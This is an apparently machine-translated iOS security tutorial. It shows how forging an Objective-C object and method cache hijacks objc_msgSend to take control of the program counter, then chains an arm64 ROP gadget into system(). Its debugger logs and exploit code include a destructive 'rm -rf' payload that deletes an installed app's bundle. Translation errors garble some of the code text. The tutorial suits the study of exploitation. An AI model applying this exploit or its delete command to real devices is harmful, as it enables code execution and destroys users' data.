Steamed rice · 2016/01/26 10:29

0 x00 sequence


Ice refers to the user state, and fire refers to the core state. Breaking through the icebox of user-generated sandboxes and finally reaching and controlling the flaming core is the subject of a series of articles called a Song of Ice and Fire iOS. The directory is as follows:

  1. Objective-C Pwn and iOS arm64 ROP
  2. █ █ █ █ █ █ █ █ █ █ █ █ █
  3. █ █ █ █ █ █ █ █ █ █ █ █ █
  4. █ █ █ █ █ █ █ █ █ █ █ █ █
  5. █ █ █ █ █ █ █ █ █ █ █ █ █

In addition, the code mentioned in this article can be downloaded from my Github: github.com/zhengmin198…

0x01 What is Objective-C


Objective-c is an object-oriented programming language that extends C. The syntax is very similar to C, but the implementation mechanism is very similar to Java. Let’s start with a simple Hello World program.

#! objc Talker.h: #import <Foundation/Foundation.h> @interface Talker : NSObject - (void) say: (NSString*) phrase; @end Talker.m: #import "Talker.h" @implementation Talker - (void) say: (NSString*) phrase { NSLog(@"[email protected]", phrase); } @end hello.m: int main(void) { Talker *talker = [[Talker alloc] init]; [talker say: @"Hello, Ice and Fire!"] ; [talker say: @"Hello, Ice and Fire!"] ; [talker release]; }Copy the code

Since the test machine is the iPad Mini 4, we will only compile an ARM64 version of Hello. We’ll make it, then we’ll use SCP to upload Hello to our iPad, and try to run it:

If we could see “Hello, Ice and Fire! So our first Objective-C program is done.

0x02 Objc_msgSend


Let’s look at the result of disassembling Hello with IDA:

We found that the program was full of the objc_msgSend() function. This function is kind of the soul function of Objective-C. In Objective-C, the actual implementation of a message and method is bound at execution time, not compile time. The compiler converts the message sending into a call to the objc_msgSend method.

The objc_msgSend method takes two required parameters: receiver and method name (i.e., selector). Such as:

[receiver message]; Gets converted to: objc_msgSend(receiver, selector);

In addition, each object has a pointer isa to its own class. Using this pointer, the object can find the class to which it belongs, and thus all its parent classes, as shown below:

When sending a message to an object, the objc_msgSend method finds the object’s class based on the object’s ISA pointer and then looks for the selector in the class’s Dispatch table. If a selector cannot be found, objc_msgSend finds the parent class using a pointer to the parent class, looks for a selector in the parent class’s dispatch table, and so on all the way to the NSObject class. Once a selector is found, the objc_msgSend method calls the implementation based on the scheduling table’s memory address. In this way, message and the actual implementation of the method are bound at execution time.

To ensure efficient message delivery and execution, the system caches all selectors and the memory addresses of used methods. Each class has a separate cache that contains the current class’s own selectors as well as those inherited from its parent class. Before searching the Dispatch table, the message sending system checks the cache of the Receiver object. In the case of a cache hit, messaging is only slightly slower than function call.

Actually about objc_msgSend this function, Apple has provided the source code (such as arm64 version: www.opensource.apple.com/source/objc…

For efficiency, the objc_msgSend function is implemented in assembly:

The function first checks if the first object passed in is null, and then calculates the MASK. It then goes into the cache function to see if there is a corresponding cache:

If the selector has been called before, the address of the corresponding selector is kept in the cache, and if the function is called again, objc_msgSend() jumps directly to the cached address.

But because of this mechanism, if we can fake a receiver object, we can construct a cached selector function address, and then objc_msgSend() will jump to our faked cache function address, allowing us to control the PC pointer.

0x03 Dynamically Debugging Objc_msgSend


Before we talk about how to forge objC objects to control a PC, let’s examine the Objc_msgSend() function at runtime. Here we use LLDB for debugging. Start hello with debugServer on iPad:

#! Bash minde-ipad :/ TMP root# debugServer *:1234./hello debugServer -@(#)PROGRAM: DebugServer PROJECT: debugServer -340.3.51.1  for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1546).Copy the code

Then use LLDB on your own PC to connect remotely:

#! Bash LLDB (LLDB) process connect connect://localhost:5555 2016-01-17 14:58:39.540 LLDB [59738:4122180] Metadata. Framework  [Error]: couldn't get the client port Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOP frame #0: 0x0000000120041000 dyld`_dyld_start dyld`_dyld_start: -> 0x120041000 <+0>: mov x28, sp 0x120041004 <+4>: and sp, x28, #0xfffffffffffffff0 0x120041008 <+8>: movz x0, #0 0x12004100c <+12>: movz x1, #0Copy the code

We can then set a breakpoint in main:

#! bash (lldb) break set --name main Breakpoint 1: no locations (pending). WARNING: Unable to resolve breakpoint to any actual locations. (lldb) c Process 1546 resuming 1 location added to breakpoint 1 7 locations added to breakpoint 1 Process 1546 stopped * thread #1: Tid = 0x2B92f, 0x0000000100063e48 Hello 'main, queue = 'com.apple.main-thread', stop Reason = breakPoint 1.1 frame #0: 0x0000000100063e48 hello`main hello`main: -> 0x100063e48 <+0>: stp x22, x21, [sp, #-48]! 0x100063e4c <+4>: stp x20, x19, [sp, #16] 0x100063e50 <+8>: stp x29, x30, [sp, #32] 0x100063e54 <+12>: add x29, sp, #32Copy the code

Let’s decompile the main function with disas:

Next we will set two breakpoints at 0x100063e94 and 0x100063eA4:

#! bash (lldb) b *0x100063e94 Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94 (lldb) b *0x100063ea4 Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4Copy the code

Then we continue to run the program and see the contents of receiver and selector with Po $x0 and x/s $x1:

#! bash (lldb) c Process 1546 resuming Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', Stop Reason = BreakPoint 2.1 Frame #0: 0x0000000100063e94 Hello 'main +76 Hello' main: -> 0x100063e94 <+76>: bl 0x100063f18 ; symbol stub for: objc_msgSend 0x100063e98 <+80>: mov x0, x19 0x100063e9c <+84>: mov x1, x20 0x100063ea0 <+88>: mov x2, x21 (lldb) po $x0 <Talker: 0x154604510> (lldb) x/s $x1 0x100063f77: "say:"Copy the code

Here you can see that the receiver and selector are Talker and say respectively. So we can use Po $x2 to find the contents of the say argument, which is “Hello, Ice and Fire!” :

#! bash (lldb) po $x2 Hello, Ice and Fire!Copy the code

We then use the si command to enter the objc_msgSend() function:

#! bash * thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend libobjc.A.dylib`objc_msgSend: -> 0x199c1dbc0 <+0>: cmp x0, #0 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108> 0x199c1dbc8 <+8>: ldr x13, [x0] 0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8Copy the code

Let’s use disas to see the assembly code for objc_msgSend:

#! bash (lldb) disas libobjc.A.dylib`objc_msgSend: 0x199c1dbc0 <+0>: cmp x0, #0 -> 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108> 0x199c1dbc8 <+8>: ldr x13, [x0] 0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8 0x199c1dbd0 <+16>: ldp x10, x11, [x9, #16] 0x199c1dbd4 <+20>: and w12, w1, w11 0x199c1dbd8 <+24>: add x12, x10, x12, lsl #4 0x199c1dbdc <+28>: ldp x16, x17, [x12] 0x199c1dbe0 <+32>: cmp x16, x1 0x199c1dbe4 <+36>: b.ne 0x199c1dbec ; <+44> 0x199c1dbe8 <+40>: br x17......Copy the code

As you can see, the first thing objc_msgSend does is get the selector and the corresponding address (LDP X16, X17, [x12]) from the class cache. It then compares the cached selector with the selector of objc_msgSend() (CMP x16, x1), and jumps to the cached selector’s address if it matches (br x17). However, since this is the first time we execute [talker say], there is no corresponding address in the cache, so objc_msgSend() will continue to execute _objc_msgSend_uncached_impcache to find the address of say in the class’s method list.

So let’s go ahead and see what happens if we call say the second time.

#! bash (lldb) disas libobjc.A.dylib`objc_msgSend: 0x199c1dbc0 <+0>: cmp x0, #0 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108> 0x199c1dbc8 <+8>: ldr x13, [x0] 0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8 0x199c1dbd0 <+16>: ldp x10, x11, [x9, #16] -> 0x199c1dbd4 <+20>: and w12, w1, w11Copy the code

After we continue to execute the program into objc_msgSend, after executing the “LDP x10, x11, [x9, #16]” instruction, x10 points to the address where the cached data is stored. If we use x/10gx $x10 to look at the address, we can see that init() and say() are already cached:

#! bash (lldb) x/10gx $x10 0x146502e10: 0x0000000000000000 0x0000000000000000 0x146502e20: 0x0000000000000000 0x0000000000000000 0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c 0x146502e40: 0x0000000100053f37 0x0000000100053ea4 0x146502e50: 0x0000000000000004 0x000000019ccad6f8 (lldb) x/s 0x000000018b0f613e 0x18b0f613e: "init" (lldb) x/s 0x0000000100053f37 0x100053f37: "say:"Copy the code

The first data is the address of the selector, and the second data is the address of the corresponding selector function, such as say() :

#! bash (lldb) x/10i 0x0000000100053ea4 0x100053ea4: 0xa9bf7bfd stp x29, x30, [sp, #-16]! 0x100053ea8: 0x910003fd mov x29, sp 0x100053eac: 0xd10043ff sub sp, sp, #16 0x100053eb0: 0xf90003e2 str x2, [sp] 0x100053eb4: 0x10000fa0 adr x0, #500 ; @"[email protected]"
    0x100053eb8: 0xd503201f   nop    
    0x100053ebc: 0x94000004   bl     0x100053ecc               ; symbol stub for: NSLog
    0x100053ec0: 0x910003bf   mov    sp, x29
    0x100053ec4: 0xa8c17bfd   ldp    x29, x30, [sp], #16
    0x100053ec8: 0xd65f03c0   ret
Copy the code

0x04 Forgery ObjC Object control PC


As I mentioned earlier, if we could forge an ObjC object and then construct a fake cache, we would have a chance to control the PC pointer. So let’s give it a try. So the first thing we need to do is find the address of the selector in memory, and we can do that using the NSSelectorFromString() API that comes with the system, so we want to know the address of the release selector, I can get it using NSSelectorFromString(@”release”).

We then build a dummy receiver with a pointer to the dummy objc_class that holds the dummy cache_Buckets pointer and mask. The dummy cache_buckets pointer ends up pointing to the address of the selector and selector function we’re going to fake:

#! objc struct fake_receiver_t { uint64_t fake_objc_class_ptr; }fake_receiver; struct fake_objc_class_t { char pad[0x10]; void* cache_buckets_ptr; uint32_t cache_bucket_mask; } fake_objc_class; struct fake_cache_bucket_t { void* cached_sel; void* cached_function; } fake_cache_bucket;Copy the code

Next we try to change the Talker receiver to our faked receiver in main, and use the faked “release” selector to control the PC to address 0x41414141414141:

#! objc int main(void) { Talker *talker = [[Talker alloc] init]; [talker say: @"Hello, Ice and Fire!"] ; [talker say: @"Hello, Ice and Fire!"] ; [talker release]; fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release"); NSLog(@"cached_sel = %p", NSSelectorFromString(@"release")); fake_cache_bucket.cached_function = (void*)0x41414141414141; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function); fake_objc_class.cache_buckets_ptr = &fake_cache_bucket; fake_objc_class.cache_bucket_mask=0; fake_receiver.fake_objc_class_ptr=&fake_objc_class; talker= &fake_receiver; [talker release]; }Copy the code

OK, next we upload the newly compiled Hello to our iPad and use the debugServer to debug it:

#! Bash minde-ipad :/ TMP root# debugServer *:1234./hello debugServer -@(#)PROGRAM: DebugServer PROJECT: debugServer -340.3.51.1  for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1891).Copy the code

Then we connect with LLDB and run directly:

#! Bash MacBookPro:objpwn zhengmin$LLDB (LLDB) process connect connect://localhost:5555 2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port Process 1891 stopped * thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOP frame #0: 0x0000000120029000 dyld`_dyld_start dyld`_dyld_start: -> 0x120029000 <+0>: mov x28, sp 0x120029004 <+4>: and sp, x28, #0xfffffffffffffff0 0x120029008 <+8>: movz x0, #0 0x12002900c <+12>: Movz X1, #0 (LLDB) C Process 1891 Diffuse 2016-01-17 22:02:48.575 Diffuse hello[1891:225023] Hello, Ice and Fire! [1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.581 hello[1891:225023] 0x18b0f7191 2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141 Process 1891 stopped * thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141) frame #0: 0x0041414141414141 error: memory read failed for 0x41414141414000Copy the code

You can see that we have successfully controlled the PC to point to 0x414141414141.

0x05 ARM64 ROP on iOS


Although we control the PC, on iOS we can’t use nmap() or MProtect () to make the memory readable, writable and executable, and we have to use ROP if we want the program to execute the instructions we want. Don’t know if the ROP, I recommend reading the I wrote “step by step to learn ROP” series (drops.wooyun.org/papers/1139…).

The basic idea of ROP is the same in every system, so here I will briefly introduce the idea of ROP on iOS.

The first thing to know is that ASLR+DEP+PIE is enabled by default on iOS. ASLR and DEP are easy to understand. PIE means that the address in memory of the program image itself is also random. Therefore, we must cooperate with the vulnerability of information leakage to use ROP technology on iOS. The good news is that even though the Program image is random, every process loads dyLD_SHAREd_cache. The address of the shared cache is fixed after startup, and every process has the same dyLD_SHAREd_cache. This DyLD_shared_cache is several hundred meters in size, which is basically what we need for gadgets. So we can calculate the location of the target process by simply fetching the base address of dyLD_SHAREd_cache from our own process.

Dyld_shared_cache file generally stored in the/System/Library/Caches/com. Apple. Dyld/this directory. Once you download it, you can use the ROPgadget tool to search for gadgets. Let’s start with a simple ROP that uses the system() function to do “touch/TMP /IceAndFire”. Since we x0 is the address of the FAke_receiver we control, we can search for gadgets that use X0 to control other registers. Like this one:

#! bash ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1Copy the code

We can then construct a dummy structure and assign values to the corresponding registers:

#! objc struct fake_receiver_t { uint64_t fake_objc_class_ptr; uint8_t pad1[0x70-0x8]; uint64_t x0; uint8_t pad2[0x98-0x70-0x8]; uint64_t x1; char cmd[1024]; }fake_receiver; fake_receiver.x0=(uint64_t)&fake_receiver.cmd; fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system"); NSLog(@"system_address = %p", (void*)fake_receiver.x1); strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");Copy the code

Finally, we point the cached_function value to our Gagdet’s address to control the program to execute the system() instruction:

#! objc uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base); //0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1 fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);Copy the code

After compiling, let’s transfer hello to iOS to test it:

IceAndFire was successfully created in the/TMP directory.

For those of you who feel that just touching a file in the TMP directory is not enough, let’s try deleting another app. The operation of the Application documents are stored in/var/mobile/Containers/Bundle/Application/” directory. Such as WeChat to run the program in the “/ var/mobile/Containers/Bundle/Application/ED6F728B CC15-466 – b – 942 – b – FBC4C534FF95 / WeChat app/WeChat” (note ED6F728 The value b-CC15-466B-942B-fBC4C534FF95 was randomly assigned at app installation). So we replace the CMD with:

#! objc strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");Copy the code

And then I’m going to run hello again. After the program runs, we will find that the app icon of wechat is still there, but when we try to open wechat, the app will exit in seconds. This is because Springboard still has a cache of ICONS even though the app has been deleted. To clear the icon cache, restart the Springboard or phone. That’s why the video in the demo requires a reboot of the phone:

0 x06 summary


This article briefly introduces objective-C utilization on iOS and ARM64 ROP on iOS, which are the most basic knowledge you need to know about jailbreaking. To notice, can perform the system instruction because we are in the prison environment as root to run our application, app in the prison break mode does not have permissions to perform the system instruction, if you want to do this have to use the sandbox escape holes, we will introduce these later in the article the sandbox technology, Stay tuned.

In addition, the code mentioned in this article can be downloaded on my Github:

Github.com/zhengmin198…

0x07 Resources


  1. Principles of objective-C messaging dangpu.sinaapp.com/?p=119
  2. Abusing The Objective C Runtime phrack.org/issues/66/4…